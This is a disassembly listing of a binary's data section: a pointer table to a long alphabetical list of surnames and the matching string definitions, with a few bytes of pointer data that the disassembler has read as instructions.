		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
; ---------------------------------------------------------------------------
		clc
		jmp	short loc_42E715
; ---------------------------------------------------------------------------
		align 4
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
; ---------------------------------------------------------------------------
		fsub	st(3), st
		inc	edx
		add	al, dl
		jmp	short loc_42E725
; ---------------------------------------------------------------------------
		align 4
		enter	42EBh, 0
		shr	bl, 42h
		add	[eax-4FFFBD15h], bh
		jmp	short loc_42E735
; ---------------------------------------------------------------------------
		align 4
		test	al, 0EBh
		inc	edx
		add	[eax-67FFBD15h], ah
		jmp	short loc_42E741
; ---------------------------------------------------------------------------
		align 10h
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
; ---------------------------------------------------------------------------
		push	580042EBh

loc_42E715:				; CODE XREF: ___:0042E6D1j
		jmp	short loc_42E759
; ---------------------------------------------------------------------------
		align 4
		dd offset aUsdan	; "Usdan"
; ---------------------------------------------------------------------------
		dec	eax
		jmp	short loc_42E761
; ---------------------------------------------------------------------------
		align 10h
		dd offset aVacca	; "Vacca"
		db 38h
; ---------------------------------------------------------------------------

loc_42E725:				; CODE XREF: ___:0042E6E1j
		jmp	short loc_42E769
; ---------------------------------------------------------------------------
		align 4
		xor	bl, ch
		inc	edx
		add	[ebx+ebp*8], ah
		inc	edx
		add	[ebx+ebp*8], bl
		inc	edx
		add	[eax], dl

loc_42E735:				; CODE XREF: ___:0042E6F1j
		jmp	short loc_42E779
; ---------------------------------------------------------------------------
		align 4
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		db 0F4h
; ---------------------------------------------------------------------------

loc_42E741:				; CODE XREF: ___:0042E6FDj
		jmp	far ptr	42h:0EAE80042h
; ---------------------------------------------------------------------------
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
; ---------------------------------------------------------------------------
		shr	dl, 42h
		add	[eax-4FFFBD16h], bh

loc_42E759:				; CODE XREF: ___:loc_42E715j
		jmp	far ptr	42h:0EAA40042h
; ---------------------------------------------------------------------------
		cwde

loc_42E761:				; CODE XREF: ___:0042E71Dj
		jmp	far ptr	42h:0EA8C0042h
; ---------------------------------------------------------------------------
		db 80h
; ---------------------------------------------------------------------------

loc_42E769:				; CODE XREF: ___:loc_42E725j
		jmp	far ptr	42h:0EA740042h
; ---------------------------------------------------------------------------
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
; ---------------------------------------------------------------------------
		pop	eax

loc_42E779:				; CODE XREF: ___:loc_42E735j
		jmp	far ptr	42h:0EA500042h
; ---------------------------------------------------------------------------
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042E860o
		align 10h
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042E85Co
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042E858o
		align 10h
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042E854o
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:0042E850o
		align 10h
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0042E84Co
aZegans		db 'Zegans',0           ; DATA XREF: ___:0042E848o
		align 10h
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:0042E844o
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:0042E840o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042E83Co
aYu		db 'Yu',0               ; DATA XREF: ___:0042E838o
		align 10h
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042E834o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042E830o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042E82Co
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042E828o
		align 10h
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042E824o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042E820o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042E81Co
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042E818o
		align 10h
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042E814o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042E810o
		align 10h
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042E80Co
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042E808o
		align 10h
aVotey		db 'Votey',0            ; DATA XREF: ___:0042E804o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042E800o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042E7FCo
		align 10h
aWoods		db 'Woods',0            ; DATA XREF: ___:0042E7F8o
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042E7F4o
		align 10h
aWoo		db 'Woo',0              ; DATA XREF: ___:0042E7F0o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042E7ECo
		align 10h
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042E7E8o
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042E7E4o
		align 10h
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042E7E0o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042E7DCo
		align 10h
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042E7D8o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042E7D4o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042E7D0o
		align 10h
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042E7CCo
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042E7C8o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042E7C4o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042E7C0o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042E7BCo
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042E7B8o
aViens		db 'Viens',0            ; DATA XREF: ___:0042E7B4o
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042E7B0o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042E7ACo
aViano		db 'Viano',0            ; DATA XREF: ___:0042E7A8o
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042E7A4o
		align 10h
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042E7A0o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042E79Co
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042E798o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042E794o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042E790o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042E78Co
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042E788o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042E784o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042E780o
		align 10h
aWengret	db 'Wengret',0
aWelsh		db 'Welsh',0
		align 10h
aWelles		db 'Welles',0           ; DATA XREF: ___:0042E774o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042E770o
		align 4
aWeissman	db 'Weissman',0
		align 10h
aWeissbourd	db 'Weissbourd',0
		align 4
aWeinhaus	db 'Weinhaus',0
		align 4
aWeingarten	db 'Weingarten',0
		align 4
aWeighart	db 'Weighart',0
		align 10h
aWaugh		db 'Waugh',0
		align 4
aVasquez	db 'Vasquez',0
aWasowska	db 'Wasowska',0
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042E74Co
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042E748o
		align 4
aVandenberg	db 'Vandenberg',0
		align 4
aVanzwet	db 'VanZwet',0
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042E73Co
		align 4
aWalter		db 'Walter',0           ; DATA XREF: ___:0042E738o
		align 10h
aWallenberg	db 'Wallenberg',0
		align 4
aWales		db 'Wales',0
		align 4
aValencia	db 'Valencia',0
		align 10h
aValberg	db 'Valberg',0
aWaite		db 'Waite',0
		align 10h
aVacca		db 'Vacca',0            ; DATA XREF: ___:0042E720o
		align 4
aUzuner		db 'Uzuner',0
		align 10h
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0042E718o
		align 4
aUrdangBrown	db 'Urdang-Brown',0
		align 4
aUrban		db 'Urban',0
		align 10h
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042E70Co
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0042E708o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042E704o
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0042E700o
		align 4
aTwells		db 'Twells',0
		align 10h
aTuttle		db 'Tuttle',0
		align 4
aTurek		db 'Turek',0
		align 10h
aTurano		db 'Turano',0
		align 4
aTukan		db 'Tukan',0
		align 10h
aTudge		db 'Tudge',0
		align 4
aTuck		db 'Tuck',0
		align 10h
aTsukurov	db 'Tsukurov',0
		align 4
aTsomides	db 'Tsomides',0
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042E6D8o
aTruss		db 'Truss',0            ; DATA XREF: ___:0042E6D4o
		align 4
aTroy		db 'Troy',0
		align 10h
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042E6CCo
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042E6C8o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042E6C4o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042E6C0o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042E6BCo
		align 10h
aToye		db 'Toye',0             ; DATA XREF: ___:0042E6B8o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042E6B4o
		align 10h
aTorske		db 'Torske',0           ; DATA XREF: ___:0042E6B0o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042E6ACo
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042E6A8o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042E6A4o
		align 10h
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042E6A0o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042E69Co
		align 10h
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042E698o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042E694o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042E690o
		align 10h
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042E68Co
aTill		db 'Till',0             ; DATA XREF: ___:0042E688o
		align 10h
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042E684o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042E680o
		align 10h
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042E67Co
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E678o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E674o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E670o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E66Co
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E668o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E664o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E660o
		align 10h
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E65Co
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E658o
		align 10h
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E654o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E650o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E64Co
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E648o
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E644o
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E640o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E63Co
